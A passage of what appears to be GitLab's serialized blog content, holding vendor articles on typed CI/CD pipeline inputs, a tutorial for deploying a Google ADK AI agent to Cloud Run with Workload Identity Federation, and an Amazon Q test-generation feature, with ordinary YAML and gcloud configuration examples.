with\nvalidation, clear contracts, and enhanced security, inputs solve the\nfundamental challenges that teams have been working around with variables\nfor years.\n\nWhile CI/CD variables have served as the traditional method for passing parameters to pipelines, they were originally designed for storing configuration settings — not as a sophisticated parameter-passing mechanism for complex workflows. This fundamental mismatch has created reliability issues, security concerns, and maintenance overhead that inputs elegantly eliminate.\n\nThis article demonstrates why CI/CD inputs should be your preferred approach for pipeline parameters. You'll discover how inputs provide type safety, prevent common pipeline failures, eliminate variable collision issues, and create more maintainable automation. You'll also see practical examples of inputs in action and how they solve real-world challenges, which we hope will encourage you to transition from variable-based workarounds to input-powered reliability.\n\n## The hidden costs of variable-based parameter passing\n\nThe problems with using variables for parameter passing are numerous and frustrating. \n\n**No type validation**\n\nVariables are strings. There is no type validation, meaning a pipeline expecting a boolean or a number, but accidentally receives a string. This leads to unexpected failures deep into the pipeline execution. In the case of a deployment workflow for example, hours after it was started  a critical production deployment fails because a boolean check in a variable was not passed as expected.\n\n\n**Runtime mutability**\n\nVariables can be modified throughout the pipeline runtime, creating unpredictable behavior when multiple jobs attempt to change the same values. For example, deploy_job_a sets `DEPLOY_ENV=staging`, but deploy_job_b changes the `DEPLOY_ENV` value to `production`. \n\n\n**Security risks**\n\nSecurity concerns arise because variables intended as simple parameters often receive the same access permissions as sensitive secrets. There's no clear contract defining what parameters a pipeline expects, their types, or their default values. A simple `BUILD_TYPE` parameter, that seems innocuous at first glance, suddenly has access to production secrets simply because variables do not inherently distinguish between parameters and sensitive data.\n\n\nPerhaps most problematically, error detection happens too late in the process. A misconfigured variable might not cause a failure until minutes or even hours into a pipeline run, wasting valuable CI/CD resources and developer time. Teams have developed elaborate workarounds such as custom validation scripts, extensive documentation, and complex naming conventions just to make variable-based parameter passing somewhat reliable.\n\nMany users have requested local debugging capabilities to test pipeline configurations before deployment. While this seems like an obvious solution, it quickly breaks down in practice. Enterprise CI/CD workflows integrate with dozens of external systems — cloud providers, artifact repositories, security scanners, deployment targets — that simply can't be replicated locally. Even if they could, the complexity would make local testing environments nearly impossible to maintain. This mismatch forced us to reframe the problem entirely. Instead of asking \"How can we test pipelines locally?\" we started asking \"How can we prevent configuration issues caused by variable-based parameter passing before users run a CI/CD automation workflow?\"\n\n## Understanding variable precedence\n\nGitLab's variable system includes multiple [precedence levels](https://docs.gitlab.com/ci/variables/#cicd-variable-precedence) to provide flexibility for different use cases. While this system serves many valid scenarios like allowing administrators to set instance- or group-wide defaults while letting individual projects override them when needed, it can create challenges when building reusable pipeline components.\n\n\nWhen creating components or templates that will be used across different projects and groups, the variable precedence hierarchy can make behavior less predictable. For example, a template that works perfectly in one project might behave differently in another due to group- or instance-level variable overrides that aren't visible in a pipeline configuration.\n\n\nWhen including multiple templates, it also can be challenging to track which variables are being set where and how they might interact.\n\n\nIn addition, components authors need to document not just what variables their template uses, but also potential conflicts with variables that might be defined at higher precedence levels.\n\n\n### Variable precedence examples\n\n\n**Main pipeline file (`.gitlab-ci.yml`):**\n\n\n```yaml\n\nvariables:\n  ENVIRONMENT: production  # Top-level default for all jobs\n  DATABASE_URL: prod-db.example.com\n\ninclude:\n  - local: 'templates/test-template.yml'\n  - local: 'templates/deploy-template.yml'\n```\n\n\n**Test template (`templates/test-template.yml`):**\n\n\n```yaml\n\nrun-tests:\n  variables:\n    ENVIRONMENT: test  # Job-level variable overrides the default\n  script:\n    - echo \"Running tests in $ENVIRONMENT environment\"  \n    - echo \"Database URL is $DATABASE_URL\"  # Still inherits prod-db.example.com!\n    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL\n    `# Issue: Tests run in \"test\" environment but against production database`\n\n```\n\n\n**Deploy template (`templates/deploy-template.yml`):**\n\n\n``` yaml\n\ndeploy-app:\n  script:\n    - echo \"Deploying to $ENVIRONMENT\"  # Uses production (top-level default)\n    - echo \"Database URL is $DATABASE_URL\"  # Uses prod-db.example.com\n    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL\n    # This will deploy to production as intended\n```\n\n**The challenges in this example:**\n\n\n1. Partial inheritance: The test job gets `ENVIRONMENT=test` but still inherits `DATABASE_URL=prod-db.example.com`.  \n\n2. Coordination complexity: Template authors must know what top-level variables exist and might conflict.  \n\n3. Override behavior: Job-level variables with the same name override defaults, but this isn't always obvious.  \n\n4. Hidden dependencies: Templates become dependent on the main pipeline's variable names.\n\n\nGitLab recognized these pain points and introduced [CI/CD inputs](https://docs.gitlab.com/ee/ci/inputs/) as a purpose-built solution for passing parameters to pipelines, offering typed parameters with built-in validation that occurs at pipeline creation time rather than during execution.\n\n\n## CI/CD inputs fundamentals\n\n\nInputs provide typed parameters for reusable pipeline configuration with built-in validation at pipeline creation time, designed specifically for defining values when the pipeline runs. They create a clear contract between the pipeline consumer and the configuration, explicitly defining what parameters are expected, their types, and constraints.\n\n\n### Configuration flexibility and scope\n\n\nOne of the advantages of inputs is their configuration-time flexibility. Inputs are evaluated and interpolated during pipeline creation using the interpolation format `$[[ inputs.input-id ]]`, meaning they can be used anywhere in your pipeline configuration — including job names, rules conditions, images, and any other YAML configuration element. This eliminates the long-standing limitation of variable interpolation in certain contexts.\n\n\nOne common use case we've seen is that users define their job names like `test-$[[ inputs.environment ]]-deployment`.\n\n\nWhen using inputs in job names, you can prevent naming conflicts when the same component is included multiple times in a single pipeline. Without this capability, including the same component twice would result in job name collisions, with the second inclusion overwriting the first. Input-based job names ensure each inclusion creates uniquely named jobs.\n\n\n**Before inputs:**\n\n\n```yaml\n\ntest-service:\n  variables:\n    SERVICE_NAME: auth-service\n    ENVIRONMENT: staging\n  script:\n    - run-tests-for $SERVICE_NAME in $ENVIRONMENT\n```\n\n\n**With inputs:**\n\n\n```yaml\n\nspec:\n  inputs:\n    environment:\n      type: string\n    service_name:\n      type: string\n\ntest-$[[ inputs.service_name ]]-$[[ inputs.environment ]]:\n  script:\n    - run-tests-for $[[ inputs.service_name ]] in $[[ inputs.environment ]]\n```\n\n\nWhen included multiple times with different inputs, this creates jobs like `test-auth-service-staging`, `test-payment-service-production`, and `test-notification-service-development`. Each job has a unique, meaningful name that clearly indicates its purpose, making pipeline visualization much clearer than having multiple jobs with identical names that would overwrite each other.\n\n\nNow let's go back to the first example in the top of this blog and use inputs, one immediate benefit is that instead of maintaining multiple templates file we can use one reusable template with different input values:\n\n\n```yaml\n\nspec:\n  inputs:\n    environment:\n      type: string\n    database_url:\n      type: string\n    action:\n      type: string\n---\n\n$[[ inputs.action ]]-$[[ inputs.environment ]]:\n  script:\n    - echo \"Running $[[ inputs.action ]] in $[[ inputs.environment ]] environment\"\n    - echo \"Database URL is $[[ inputs.database_url ]]\"\n    - run-$[[ inputs.action ]] --env=$[[ inputs.environment ]] --db=$[[ inputs.database_url ]]\n```\n\n\nAnd in the main `gitlab-ci.yml` file we can include it twice (or more) with different values, making sure we avoid naming collisions\n\n\n```yaml\n\ninclude:\n  - local: 'templates/environment-template.yml'\n    inputs:\n      environment: test\n      database_url: test-db.example.com\n      action: tests\n  - local: 'templates/environment-template.yml'\n    inputs:\n      environment: production\n      database_url: prod-db.example.com\n      action: deploy\n```\n\n\n**The result:** Instead of maintaining separate YAML files for testing and deployment jobs, you now have a single reusable template that handles both use cases safely. This approach scales to any number of environments or job types — reducing maintenance overhead, eliminating code duplication, and ensuring consistency across your entire pipeline configuration. One template to maintain instead of many, with zero risk of variable collision or configuration drift.\n\n\n### Validation and type safety\n\n\nAnother key difference between variables and inputs lies in validation capabilities. Inputs support different value types, including strings, numbers, booleans, and arrays, with validation occurring immediately when the pipeline is created. If you define an input as a boolean but pass a string, GitLab will reject the pipeline before any jobs execute, saving time and resources.\n\n\nHere is an example of the enormous benefit of type validation.\n\n\n**Without type validation (variables):**\n\n\n```yaml\n\nvariables:\n  ENABLE_TESTS: \"true\"  # Always a string\n  MAX_RETRIES: \"3\"      # Always a string\n\ndeploy_job:\n  script:\n    - if [ \"$ENABLE_TESTS\" = true ]; then  # This fails!\n        echo \"Running tests\"\n      fi\n    - retry_count=$((MAX_RETRIES + 1))      # String concatenation: \"31\"\n\n```\n\n\n**Problem:**  The boolean check fails because “`true`” (string) is not equal to `true`, (boolean).\n\n\n**With type validation (inputs):**\n\n\n```yaml\n\nspec:\n  inputs:\n    enable_tests:\n      type: boolean\n      default: true\n    max_retries:\n      type: number\n      default: 3\n\n      \ndeploy_job:\n  script:\n    - if [ \"$[[ inputs.enable_tests ]]\" = true ]; then  # Works correctly\n        echo \"Running tests\"\n      fi\n    - retry_count=$(($[[ inputs.max_retries ]] + 1))    # Math works: 4\n\n```\n\n\n**Real-world impact for variable type validation failure**: A developer or a process triggers a GitLab CI/CD pipeline with `ENABLE_TESTS = yes` instead of `true`. Assuming it takes on average 30 minutes before the deployment job starts, then finally when this job kicks off, 30 minutes or longer into the pipeline run, the deployment script tries to evaluate the boolean and fails.  \n\n\nImagine the impact in terms of time-to-market and, of course. developer time trying to debug why a seemingly basic deploy job failed.\n\n\nWith type inputs, GitLab CI/CD will immediately throw an error and provide an explicit error message regarding the type mismatch.\n\n\n### Security and access control\n\n\nInputs provide enhanced security through controlled parameter passing with explicit contracts that define exactly what values are expected and allowed, creating clear boundaries between parameter passing to the pipeline, In addition. inputs are immutable. Once the pipeline starts, they cannot be modified during execution, providing predictable behavior throughout the pipeline lifecycle and eliminating the security risks that come from runtime variable manipulation.\n\n\n### Scope and lifecycle\n\n\nWhen you define variables using the `variables:` keyword at the top level of your `.gitlab-ci.yml` file, these variables become defaults for all jobs in your entire pipeline. When you include templates, you must consider what variables you've defined globally, as they can interact with the template's expected behavior through GitLab's variable precedence order.\n\n\nInputs are defined in CI configuration files (e.g. components or templates) and assigned values when a pipeline is triggered, allowing you to customize reusable CI configurations. They exist solely for pipeline creation and configuration time, scoped to the CI configuration file where they're defined, and become immutable references once the pipeline begins execution. Since each component maintains its own inputs, there is no risk of inputs interfering with other components or templates in your pipeline, eliminating variable collision and override issues that can occur with variable-based approaches.\n\n\n## Working with variables and inputs together\n\n\nWe recognize that teams have extensive investments in their variable-based workflows, and migration to inputs doesn't happen overnight. That's why we've developed capabilities that allow inputs and variables to work seamlessly together, providing a bridge between existing variables and the benefits of inputs while overcoming some key challenges in variable expansion.\n\n\nLet's look at this real-world example.\n\n\n**Variable expansion in rules conditions**\n\n\nA common challenge occurs when using variables that contain other variable references in `rules:if` conditions. GitLab only expands variables one level deep during rule evaluation, which can lead to unexpected behavior:\n\n\n```yaml\n# This doesn't work as expected\n\nvariables:\n  TARGET_ENV:\n    value: \"${CI_COMMIT_REF_SLUG}\"\n\ndeploy-job:\n  rules:\n    - if: '$TARGET_ENV == \"production\"'  # Compares \"${CI_COMMIT_REF_SLUG}\" != \"production\"\n      variables:\n        DEPLOY_MODE: \"blue-green\"\n```\n\n\nThe `expand_vars` function solves this by forcing proper variable expansion in inputs:\n\n```yaml\nspec:\n  inputs:\n    target_environment:\n      description: \"Target deployment environment\"\n      default: \"${CI_COMMIT_REF_SLUG}\"\n---\n\n\ndeploy-job:\n  rules:\n    - if: '\"$[[ inputs.target_environment | expand_vars ]]\" == \"production\"'\n      variables:\n        DEPLOY_MODE: \"blue-green\"\n        APPROVAL_REQUIRED: \"true\"\n    - when: always\n      variables:\n        DEPLOY_MODE: \"rolling\"\n        APPROVAL_REQUIRED: \"false\"\n  script:\n    - echo \"Target: $[[ inputs.target_environment | expand_vars ]]\"\n    - echo \"Deploy mode: ${DEPLOY_MODE}\"\n```\n\n\n### Why this matters\n\n\nWithout `expand_vars`, rule conditions evaluate against the literal variable reference (like `\"${CI_COMMIT_REF_SLUG}\"`) rather than the expanded value (like `\"production\"`). This leads to rules that never match when you expect them to, breaking conditional pipeline logic.\n\n\n**Important notes about expand_vars:**\n\n\n* Only variables that can be used with the include keyword are supported  \n\n* Variables must be unmasked (not marked as protected/masked)  \n\n* Nested variable expansion is not supported  \n\n* Rule conditions using `expand_vars` must be properly quoted: `'\"$[[ inputs.name | expand_vars ]]\" == \"value\"'`\n\n\nThis pattern solves the single-level variable expansion limitation, working for any conditional logic that requires comparing fully resolved variable values.\n\n\n### Function chaining for advanced processing\n\n\nAlong with `expand_vars`, you can use functions like `truncate` to shorten values for compliance with naming restrictions (such as Kubernetes resource names), creating sophisticated parameter processing pipelines while maintaining input safety and predictability.\n\n\n```yaml\n\nspec:  \n  inputs:\n    service_identifier:\n      default: 'service-$CI_PROJECT_NAME-$CI_COMMIT_REF_SLUG'\n---\n\ncreate-resource:\n  script:\n    - resource_name=$[[ inputs.service_identifier | expand_vars | truncate(0,50) ]]\n```\n\n\nThis integration capability allows you to adopt inputs gradually while leveraging your existing variable infrastructure, making the migration path much smoother.\n\n\n### From components only to CI pipelines\n\n\nUp until GitLab 17.11, GitLab users were able to use inputs only in components and templates through the `include:` syntax. This limited their use to reusable CI/CD configurations, but didn't address the broader need for dynamic pipeline customization.\n\n\n### Pipeline-wide inputs support\n\n\nStarting with GitLab 17.11, GitLab users can now use inputs to safely modify pipeline behavior across all pipeline execution contexts, replacing the traditional reliance on pipeline variables. This expanded support includes:\n\n\n* Scheduled pipelines: Define inputs with defaults for automated pipeline runs while allowing manual override when needed.  \n\n* Downstream pipelines: Pass structured inputs to child and multi-project pipelines with proper validation and type safety.  \n\n* Manual pipelines: Present users with a clean, validated form interface.\n\n\nThose enhancements, with more to follow, allow teams to modernize their pipelines while maintaining backward compatibility gradually. Once inputs are fully adopted, users can disable pipeline variables to ensures a more secure and predictable CI/CD environment.\n\n\n## Summary\n\n\nThe transition from variables to inputs represents more than just a technical upgrade — it's a shift toward more maintainable, predictable, and secure CI/CD pipelines. While variables continue to serve important purposes for configuration, inputs provide the parameter-passing capabilities that teams have been working around for years.\n\n\nWe understand that variables are deeply embedded in existing workflows, which is why we've built bridges between the two systems. The `expand_vars` function and other input capabilities allow you to adopt inputs gradually while leveraging your existing variable infrastructure.\n\n\nBy starting with new components and templates, then gradually migrating high-impact workflows, you'll quickly see the benefits of clearer contracts, earlier error detection, and more reliable automation that scales across your organization. Additionally, moving to inputs creates an excellent foundation for leveraging [GitLab's CI/CD Catalog](https://gitlab.com/explore/catalog), where reusable components with typed interfaces become powerful building blocks for your DevOps workflows but more on that in our next blog post.\n\n\nYour future self and your teammates will thank you for the clarity and reliability that inputs bring to your CI/CD workflows, while still being able to work with the variable systems you've already invested in.\n\n\n## What's next \n\n\nLooking ahead, we're expanding inputs to solve two key challenges: enhancing pipeline triggering with cascading options that [dynamically adjust based on user selections](https://gitlab.com/gitlab-org/gitlab/-/issues/520094), and providing job-level inputs that allow users to [retry individual jobs with different parameter values](https://gitlab.com/groups/gitlab-org/-/epics/17833). We encourage you to follow these discussions, share your feedback, and contribute to shaping these features. You can also provide general feedback on CI/CD inputs through our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/407556).\n\n## Read more\n\n- [How to include file references in your CI/CD components](https://about.gitlab.com/blog/how-to-include-file-references-in-your-ci-cd-components/)\n- [CI/CD inputs documentation](https://docs.gitlab.com/ci/inputs/)\n- [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)\n- [GitLab environment variables demystified](https://about.gitlab.com/blog/demystifying-ci-cd-variables/)\n",[110,695,674],{"featured":6,"template":678,"slug":907},"ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline","content:en-us:blog:ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline.yml","Ci Cd Inputs Secure And Preferred Method To Pass Parameters To A Pipeline","en-us/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline.yml","en-us/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline",{"_path":913,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":914,"content":917,"config":924,"_id":926,"_type":16,"title":927,"_source":17,"_file":928,"_stem":929,"_extension":20},"/en-us/blog/fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab",{"noIndex":6,"title":915,"description":916},"Fast and secure AI agent deployment to Google Cloud with GitLab","Follow this step-by-step guide, complete with a demo application, to learn how to use agentic AI, along with GitLab's native integrations and CI/CD components.",{"title":915,"description":916,"authors":918,"heroImage":920,"date":888,"body":921,"category":791,"tags":922},[919],"Regnard Raquedan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670563/Blog/Hero%20Images/cloudcomputing.jpg","[Agentic AI](https://about.gitlab.com/topics/agentic-ai/) is transforming\nhow we build intelligent applications, but deploying AI agents securely and\nefficiently can be challenging. In this tutorial, you'll learn how to deploy\nan AI agent built with Google's Agent Development Kit\n([ADK](https://cloud.google.com/vertex-ai/generative-ai/docs/agent-development-kit/quickstart))\nto Cloud Run using [GitLab's native\nintegrations](https://cloud.google.com/blog/topics/partners/understand-the-google-cloud-gitlab-integration)\nand [CI/CD components](https://docs.gitlab.com/ci/components/).\n\n\n## What are AI agents and why do they matter?\n\n\nAgentic AI represents a significant evolution in artificial intelligence. Unlike traditional generative AI tools that require constant human direction, AI agents leverage advanced language models and natural language processing to take independent action. These systems can understand requests, make decisions, and execute multistep plans to achieve goals autonomously.\n\n\nThis tutorial uses Google's ADK, a flexible and modular framework for developing and deploying AI agents. While optimized for Gemini and the Google ecosystem, ADK is model-agnostic, deployment-agnostic, and built for compatibility with other frameworks.\n\n\n## Our demo application: Canada City Advisor\n\n\nTo demonstrate the deployment process, we'll work with a practical example: the Canada City Advisor. This AI agent helps users find their ideal Canadian city based on their preferences and constraints.\n\n\nHere's how it works:\n\n\n* Users input their budget requirements and lifestyle preferences.  \n\n* The root agent coordinates two sub-agents:  \n\n  * A budget analyzer agent that evaluates financial constraints. This draws data obtained from the Canada Mortgage and Housing Corporation.  \n  * A lifestyle preferences agent that matches cities to user needs. This includes a weather service that uses [Open-Meteo](https://open-meteo.com/) to get the proper city information.  \n* The system generates personalized city recommendations\n\n\nThis multi-agent architecture showcases the power of agentic AI - different specialized agents working together to solve a complex problem. The sub-agents are only invoked when the root agent determines that budget and lifestyle analysis are needed.\n\n\n![Multi-agent architecture to develop demo application with agentic AI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1751576568/obgxpxvlnxtzifddrrz1.png)\n\n\n## Prerequisites\n\n\nBefore we begin, ensure you have:\n\n\n* A Google Cloud project with the following APIs enabled:  \n\n  * Cloud Run API  \n  * Artifact Registry API  \n  * Vertex AI API  \n* A GitLab project for your source code  \n\n* Appropriate permissions in both GitLab and Google Cloud\n\n\n**Step 1: Set up IAM integration with Workload Identity Federation**\n\n\nThe first step establishes secure, keyless authentication between GitLab and Google Cloud using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). This eliminates the need for service account keys and improves security.\n\n\nIn your GitLab project:\n\n\n1. Navigate to **Settings > Integrations > Google Cloud IAM.**  \n\n2. Provide the following information:  \n\n   * **Project ID**: Your Google Cloud project ID  \n   * **Project Number**: Found in your Google Cloud console  \n   * **Pool ID**: A unique identifier for your workload identity pool  \n   * **Provider ID**: A unique identifier for your identity provider\n\nGitLab will generate a script for you. Copy this script and run it in your Google Cloud Shell to create the Workload Identity Federation.\n\n\n**Step 2: Configure Google Artifact Registry integration**\n\n\nNext, we'll set up the connection to Google Artifact Registry where our container images will be stored.\n\n\n1. In GitLab, go to **Settings > Integrations > Google Artifact Registry.**  \n\n2. Enter:  \n\n   * **Google Cloud Project ID**: Same as in Step 1  \n   * **Repository Name**: Name of an existing Artifact Registry repository  \n   * **Location**: The region where your repository is located\n\n**Important**: The repository must already exist in Artifact Registry. GitLab won't create a new one for you in this context.\n\n\nGitLab will generate commands to set up the necessary permissions. Run these in Google Cloud Shell.\n\n\nAdditionally, add these roles to your service principal for Cloud Run deployment:\n\n\n* `roles/run.admin`  \n\n* `roles/iam.serviceAccountUser`  \n\n* `roles/cloudbuild.builds.editor`\n\n\nYou can add these roles using the following gcloud commands:\n\n\n```shell\n\nGCP_PROJECT_ID=\"\u003Cyour-project-id>\" #replace\n\nGCP_PROJECT_NUMBER=\"\u003Cyour-project-number>\" #replace\n\nGCP_WORKLOAD_IDENTITY_POOL=\"\u003Cyour-pool-id>\" #replace\n\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/run.admin'\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/iam.serviceAccountUser'\n\ngcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \\\n  --member=\"principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true\" \\\n  --role='roles/cloudbuild.builds.editor'\n```\n\n\n**Step 3: Create the CI/CD pipeline**\n\n\nNow for the exciting part – let's build our deployment pipeline! GitLab's CI/CD components make this remarkably simple.\n\n\nCreate a `.gitlab-ci.yml` file in your project root:\n\n\n```unset\n\nstages:\n  - build\n  - test\n  - upload\n  - deploy\n\nvariables:\n  GITLAB_IMAGE: $CI_REGISTRY_IMAGE/main:$CI_COMMIT_SHORT_SHA\n  AR_IMAGE: $GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_LOCATION-docker.pkg.dev/$GOOGLE_ARTIFACT_REGISTRY_PROJECT_ID/$GOOGLE_ARTIFACT_REGISTRY_REPOSITORY_NAME/main:$CI_COMMIT_SHORT_SHA\n\nbuild:\n  image: docker:24.0.5\n  stage: build\n  services:\n    - docker:24.0.5-dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $GITLAB_IMAGE .\n    - docker push $GITLAB_IMAGE\n\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml  # https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml\n  - component: gitlab.com/google-gitlab-components/artifact-registry/upload-artifact-registry@main\n    inputs:\n      stage: upload\n      source: $GITLAB_IMAGE\n      target: $AR_IMAGE\n  - component: gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@main\n    inputs:\n      stage: deploy\n      project_id: \"\u003Cyour-project-id>\" #replace\n      service: \"canadian-city\"\n      region: \"us-central1\"\n      image: $AR_IMAGE\n```\n\n\nThe pipeline consists of four stages:\n\n\n1. **Build**: Creates the Docker container with your AI agent  \n\n2. **Test**: Runs security scans (container scanning, dependency scanning, SAST)  \n\n3. **Upload**: Pushes the container to Artifact Registry  \n\n4. **Deploy**: Deploys to Cloud Run\n\n\nThe great thing about using [GitLab's CI/CD components](https://docs.gitlab.com/ci/components/) is that you only need to provide a few parameters - the components handle all the complex authentication and deployment logic.\n\n\n**Step 4: Deploy and test**\n\n\nWith everything configured, it's time to deploy:\n\n\n1. Commit your code and `.gitlab-ci.yml` to your GitLab repository.  \n\n2. The pipeline will automatically trigger.  \n\n3. Monitor the pipeline progress in GitLab's CI/CD interface.  \n\n4. Once complete, find your Cloud Run URL in the Google Cloud Console.\n\n\nYou'll see each stage execute:\n\n\n* Build stage creates your container.  \n\n* Test stage runs comprehensive security scans.  \n\n* Upload stage pushes to Artifact Registry.  \n\n* Deploy stage creates or updates your Cloud Run service.\n\n\n## Security benefits\n\n\nThis approach provides several security advantages:\n\n\n* **No long-lived credentials:** Workload Identity Federation eliminates service account keys.  \n\n* **Automated security scanning:** Every deployment is scanned for vulnerabilities.  \n\n* **Audit trail:** Complete visibility of who deployed what and when.  \n\n* **Principle of least privilege:** Fine-grained IAM roles limit access.\n\n\n## Summary\n\nBy combining GitLab's security features with Google Cloud's powerful AI and serverless platforms, you can deploy AI agents that are both secure and scalable. The integration between GitLab and Google Cloud eliminates much of the complexity traditionally associated with such deployments.\n\n> Use this tutorial's [complete code\nexample](https://gitlab.com/gitlab-partners-public/google-cloud/demos/ai-agent-deployment)\nto get started now. Not a GitLab customer yet? Explore the DevSecOps platform with [a free trial](https://about.gitlab.com/free-trial/).\n",[790,923,696],"google",{"featured":6,"template":678,"slug":925},"fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab","content:en-us:blog:fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab.yml","Fast And Secure Ai Agent Deployment To Google Cloud With Gitlab","en-us/blog/fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab.yml","en-us/blog/fast-and-secure-ai-agent-deployment-to-google-cloud-with-gitlab",{"_path":931,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":932,"content":935,"config":945,"_id":947,"_type":16,"title":948,"_source":17,"_file":949,"_stem":950,"_extension":20},"/en-us/blog/enhance-application-quality-with-ai-powered-test-generation",{"noIndex":6,"title":933,"description":934},"Enhance application quality with AI-powered test generation","Learn how GitLab Duo with Amazon Q improves the QA process by automatically generating comprehensive unit tests.",{"title":933,"description":934,"authors":936,"heroImage":938,"date":939,"body":940,"category":791,"tags":941},[937],"Cesar Saavedra","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659604/Blog/Hero%20Images/Screenshot_2024-11-27_at_4.55.28_PM.png","2025-07-03","You know how critical application quality is to your customers and reputation. However, ensuring that quality through comprehensive testing can feel like an uphill battle. You're dealing with time-consuming manual processes, inconsistent test coverage across your team, and those pesky issues that somehow slip through the cracks. It's frustrating when your rating drops because quality assurance becomes a bottleneck rather than a safeguard.\n\nHere's where [GitLab Duo with Amazon Q ](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), which delivers agentic AI throughout the software development lifecycle for AWS customers, can help transform your QA process. This AI-powered capability can automatically generate comprehensive unit tests for your code, dramatically accelerating your quality assurance workflow. Instead of spending hours writing tests manually, you can let AI analyze your code and create tests that ensure optimal coverage and consistent quality across your entire application.\n\n## How GitLab Duo with Amazon Q works\n\nSo how does this work? Let's walk through the process together.\nWhen you're working on a new feature, you start by selecting the Java class you've added to your project through a merge request. You simply navigate to your merge request and click on the \"Changes\" tab to see the new code you've added.\n\nNext, you invoke Amazon Q by entering a quick action command. All you need to do is type `/q test` in the issue comment box. It's that simple – just a forward slash, the letter \"q\", and the word \"test\".\n\nOnce you hit enter, Amazon Q springs into action. It analyzes your selected code, understanding its structure, logic, and purpose. The AI examines your class methods, dependencies, and potential edge cases to determine what tests are needed.\n\nWithin moments, Amazon Q generates comprehensive unit test coverage for your new class. It creates tests that cover not just the happy path, but also edge cases and error conditions you might have overlooked. The generated tests follow your project's existing patterns and conventions, ensuring they integrate seamlessly with your codebase.\n\n## Why use GitLab Duo with Amazon Q?\n\nHere's the bottom line: You started with a critical challenge – maintaining high-quality applications while dealing with time constraints and inconsistent testing practices. GitLab Duo with Amazon Q addresses this by automating the test generation process, ensuring optimal code coverage and consistent testing standards. The result? Issues are detected before deployment, your applications maintain their quality, and you can develop software faster without sacrificing reliability.\n\nKey benefits of this feature:\n\n* Significantly reduces time spent writing unit tests\n* Ensures comprehensive test coverage across your codebase\n* Maintains consistent testing quality across all team members\n* Catches issues before they reach production\n* Accelerates your overall development velocity\n\nReady to see this game-changing feature in action? Watch how GitLab Duo with Amazon Q can transform your quality assurance process:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Get started with GitLab Duo with Amazon Q today\n\nWant to learn more about GitLab Duo with Amazon Q? Visit the [GitLab and AWS partner page](https://about.gitlab.com/partners/technology-partners/aws/) for detailed information.\n\n## Agentic AI resources\n- [Agentic AI guides and resources](https://about.gitlab.com/blog/agentic-ai-guides-and-resources/)\n- [What is agentic AI?](https://about.gitlab.com/topics/agentic-ai/)\n- [GitLab Duo with Amazon Q: Agentic AI optimized for AWS generally available](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab Duo with Amazon Q documentation](https://docs.gitlab.com/user/duo_amazon_q/)",[790,695,942,943,696,944],"testing","DevSecOps","AWS",{"featured":92,"template":678,"slug":946},"enhance-application-quality-with-ai-powered-test-generation","content:en-us:blog:enhance-application-quality-with-ai-powered-test-generation.yml","Enhance Application Quality With Ai Powered Test Generation","en-us/blog/enhance-application-quality-with-ai-powered-test-generation.yml","en-us/blog/enhance-application-quality-with-ai-powered-test-generation",{"_path":952,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":953,"content":956,"config":966,"_id":968,"_type":16,"title":969,"_source":17,"_file":970,"_stem":971,"_extension":20},"/en-us/blog/why-now-is-the-time-for-embedded-devsecops",{"noIndex":6,"title":954,"description":955},"Why now is the time for embedded DevSecOps","Learn how embedded development teams address long feedback cycles, manual compliance, and isolated development with DevSecOps.",{"title":954,"description":955,"authors":957,"heroImage":959,"date":960,"body":961,"category":962,"tags":963},[958],"Matt 